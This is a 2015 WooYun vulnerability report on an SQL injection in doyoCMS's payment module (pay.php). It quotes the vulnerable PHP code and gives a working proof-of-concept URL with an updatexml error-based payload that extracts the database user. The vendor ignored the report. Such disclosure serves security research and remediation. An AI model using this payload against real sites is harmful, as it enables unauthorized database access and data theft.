当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0100141

漏洞标题:doyoCMS注入漏洞1处

相关厂商:wdoyo.com

漏洞作者: linadmin

提交时间:2015-03-10 12:02

修复时间:2015-06-13 12:05

公开时间:2015-06-13 12:05

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-10: 细节已通知厂商并且等待厂商处理中
2015-03-15: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2015-05-09: 细节向核心白帽子及相关领域专家公开
2015-05-19: 细节向普通白帽子公开
2015-05-29: 细节向实习白帽子公开
2015-06-13: 细节向公众公开

简要描述:

doyoCMS注入漏洞1处

详细说明:

注入漏洞一枚:
存在注入的代码位置/source/pay.php
具体代码:
function order(){
if($this->syArgs('oid')||$this->syArgs('orderid',1)!=''){
if($this->syArgs('oid')){$r=array('id'=>$this->syArgs('oid',1));}else{$r=array('orderid'=>$this->syArgs('orderid',1));}
$order=$this->c->find($r);
if($order['state']!=0){jump('?c=member&a=myorder&oid='.$order['id']);}
$this->goods=$this->goods_db(unserialize($order['goods']),$order['logistics']);
}else{
if($GLOBALS['G_DY']['vercode']==1){
if(!$this->syArgs("vercode",1)||md5(strtolower($this->syArgs("vercode",1)))!=$_SESSION['doyo_verify'])message("验证码错误");
}
$this->cart=$this->syArgs('cart');
$virtual=$this->syArgs('virtual');
if(!$this->id&&!$this->cart)message("请指定购买内容");
$info=$this->syArgs('info',2);
if($virtual!=1&&($info['name']==''||$info['phone']==''||$info['address1']==''||$info['address2']==''||$info['address']==''))message("姓名、手机、省、市、地址为必填");
if($this->cart){
syDB('goodscart')->delete(array('uid'=>$this->my['id']));
}
$this->goods=$this->syArgs('goods',2);
if($virtual!=1){
$o=$this->order_add($this->goods,0,$this->syArgs('logistics',1),$info,$this->syArgs('unote',1));
jump($GLOBALS['WWW'].'index.php?c=pay&a=order&oid='.$o);
}else{
$payment=$this->syArgs('payment',1);
if(!$payment)message("请指定支付平台");
$vi=total_page($this->db.'product_virtual where aid='.$this->goods[0]['aid'].' and state=0');
if($vi<$this->goods[0]['quantity'])message("库存不足,暂无法购买,请联系客服。",'?c=pay&id='.$this->goods[0]['aid']);
$o=$this->order_add($this->goods,1,$this->syArgs('logistics',1),$info,$this->syArgs('unote',1));
jump($GLOBALS['WWW'].'index.php?c=pay&a=pay&payment='.$payment.'&id='.$o);
}
}

222.png


第120行为漏洞触发的地方,goods由url传过来的,但是因为syArgs(,2)不做过滤处理,所以导致注入发生
验证:
注册用户登录之
访问http://localhost/doyo/index.php?c=pay&a=order&id=1&cart=1&virtual=1&info['name']=1&info['phone']=1&info['address1']=1&info['address2']=1&info['address']=1&payment=1&goods[0][aid]=1 and 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))

333.png


没有问题了

漏洞证明:

333.png


修复方案:

严格过滤参数

版权声明:转载请注明来源 linadmin@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-06-13 12:05

厂商回复:

最新状态:

暂无